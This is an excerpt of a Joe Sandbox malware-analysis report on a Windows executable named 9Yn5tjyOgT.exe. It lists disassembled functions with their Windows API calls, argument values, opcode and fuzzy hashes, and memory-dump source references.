Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(0068A290), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\9Yn5tjyOgT.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 738E2AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 738E2B6B

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 8a72493a7290609faa2382e0b3ecfef563ff4053806c3b982a96fb1e6c30d017
Instruction ID: 766178456a3c610f880e44d686eb98d0718a97b571bae00991eb4e82e6f8adec
Opcode Fuzzy Hash: 8a72493a7290609faa2382e0b3ecfef563ff4053806c3b982a96fb1e6c30d017
Instruction Fuzzy Hash: DB416FB288060CDFEB31FFE9D942B5937BAFB46365F34852EE50986140D635D4908B91

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040EC01,0040CED0,004033DE,0040CED0,0040EC01,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
